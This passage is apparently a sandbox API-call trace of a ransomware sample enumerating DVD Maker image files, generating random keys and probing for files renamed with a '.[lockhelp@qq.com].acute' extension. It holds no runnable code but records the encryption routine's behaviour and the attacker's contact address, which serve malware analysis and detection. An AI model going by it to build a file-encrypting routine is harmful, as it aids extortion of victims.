hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.146] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5088) returned 1 [0274.146] CloseHandle (hObject=0x37c) returned 1 [0274.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png")) returned 0x20 [0274.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.146] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.147] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3130) returned 1 [0274.147] CloseHandle (hObject=0x30c) returned 1 [0274.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0274.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.147] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.148] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5025) returned 1 [0274.148] CloseHandle (hObject=0x30c) returned 1 [0274.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png")) returned 0x20 [0274.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.148] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.149] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3118) returned 1 [0274.149] CloseHandle (hObject=0x30c) returned 1 [0274.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png")) returned 0x20 [0274.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.149] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.150] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4955) returned 1 [0274.150] CloseHandle (hObject=0x30c) returned 1 [0274.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png")) returned 0x20 [0274.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.150] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.151] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3081) returned 1 [0274.151] CloseHandle (hObject=0x30c) returned 1 [0274.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png")) returned 0x20 [0274.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.151] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.151] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=24520) returned 1 [0274.151] CloseHandle (hObject=0x30c) returned 1 [0274.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png")) returned 0x20 [0274.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.152] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.153] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4570) returned 1 [0274.153] CloseHandle (hObject=0x30c) returned 1 [0274.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png")) returned 0x20 [0274.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.153] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.154] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2821) returned 1 [0274.154] CloseHandle (hObject=0x30c) returned 1 [0274.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png")) returned 0x20 [0274.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.154] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.155] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4563) returned 1 [0274.155] CloseHandle (hObject=0x30c) returned 1 [0274.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png")) returned 0x20 [0274.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.155] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.155] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.155] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.156] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4669) returned 1 [0274.156] CloseHandle (hObject=0x30c) returned 1 [0274.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png")) returned 0x20 [0274.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.156] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.156] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=26516) returned 1 [0274.156] CloseHandle (hObject=0x30c) returned 1 [0274.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png")) returned 0x20 [0274.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.157] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.158] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5088) returned 1 [0274.158] CloseHandle (hObject=0x30c) returned 1 [0274.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png")) returned 0x20 [0274.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.158] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.159] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3130) returned 1 [0274.159] CloseHandle (hObject=0x30c) returned 1 [0274.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png")) returned 0x20 [0274.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.159] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.160] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5025) returned 1 [0274.160] CloseHandle (hObject=0x30c) returned 1 [0274.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png")) returned 0x20 [0274.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.160] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.161] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3118) returned 1 [0274.161] CloseHandle (hObject=0x30c) returned 1 [0274.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png")) returned 0x20 [0274.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD 